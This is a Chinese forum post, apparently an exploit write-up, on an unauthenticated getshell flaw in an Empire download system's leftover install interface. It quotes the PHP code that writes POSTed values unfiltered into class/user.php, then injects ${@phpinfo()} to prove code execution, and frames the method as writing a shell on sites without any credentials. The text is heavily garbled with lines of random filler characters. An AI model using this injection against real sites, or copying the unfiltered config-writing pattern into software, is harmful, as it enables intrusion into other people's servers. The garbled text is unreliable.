这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们4 p& _1 y4 z4 Y; b- m
% u4 L. J4 y: g' [/ C4 C
% k# v$ Y0 h! [+ C5 K7 J
这是帝国的一套下载系统 如图! |; x- ]% j' n
ps(不需要任何账户和密码,直接写shell) $ | V: O7 z: z' K
由于很多站是由于下载要整合discuz 等等一些论坛....
* g9 z5 ~* V& J9 j t 0 B& E9 ]. V9 a
而帝国他又有一个万能接口,如图 0 K4 e/ i; f7 a; E6 X7 z
0 @. h1 `! h, f3 w3 C, T6 l4 U4 `
而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
5 y; g% ?$ {# O( o" x4 @: O; V3 S8 L) {; ^; H8 b, j5 e A
当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
6 p* j6 u+ ~3 x: w/ b2 n' S9 D4 _8 j6 L' c4 I6 E
在data/fun.php中的15行
. q( q0 R% `( E, c4 `" d, d5 m4 U0 ]# t7 `% v
我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {
8 I2 W6 R7 ]9 X2 w W! k17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干# W& k! Z" J. X
1 w5 I" ^2 _; L g9 r; I这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);, U3 Z- n3 k8 k
! o7 p8 N( Q4 P3 ~) L他将传进来的变量进行了切割,然后赋给了$filetext: W z( L1 R$ E0 f
- X# y" s$ q, b. w然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了
# J; t g' q; j! A) @8 M! A/ q+ _. s/ U+ `" ]
我们看看写入的结果,随便填一个 % v% Y" _5 a3 M; R
1 w/ Y/ y/ n8 C% Y( D% @
2 |- N, L5 c; T4 z3 E2 u4 e/ k9 C9 h- L; r! w
9 v) f( }) D: O# U) n; q, ]
2 @4 X V t9 m9 I6 ~5 y# B" z* W+ I6 ]
4 U8 A/ A% t6 F/ r* a3 D) f7 P
; s6 J, \, y. n+ b0 o3 t8 h' d( t% x4 i- @
+ n: G5 ?( t4 u) a8 Y/ ~
4 U( x, a0 W/ K+ \ w
3 a' |+ _' o% e6 k/ n4 j; y7 l
0 ~8 @" y# ^; c% i- `$ J) G5 r7 y1 ?, J1 X9 P1 t* n5 d
9 W2 J" g+ K4 N6 F6 |: u7 o6 W5 X
5 x; h+ n* B7 Z8 O
& E9 S3 S7 u' ~. q! s, O, N1 d5 G. J5 J
; n5 U& X) N1 n* w! B
0 U; x% N& Q4 P2 k# d/ }+ r M/ w, u3 J: F5 h3 E5 F
所以我们淫荡点,写个${@phpinfo()}试试
2 c1 ~; C/ \9 L, M9 N' k% z然后访问以下class/user.php这个文件
! m* N, ?4 H5 ~: p, x日了吧 , ]; |1 j* k C, s& L9 H( k& `
6 Z$ k0 N; u! \( ^! ~$ m; g W% G2 Q1 j+ t( G: r7 r
2 P& N- Q; L+ A6 o2 I2 x
! A; j5 s# {$ t/ K2 H) ]
7 o" K0 E/ S$ Y5 s( q% N- D% L |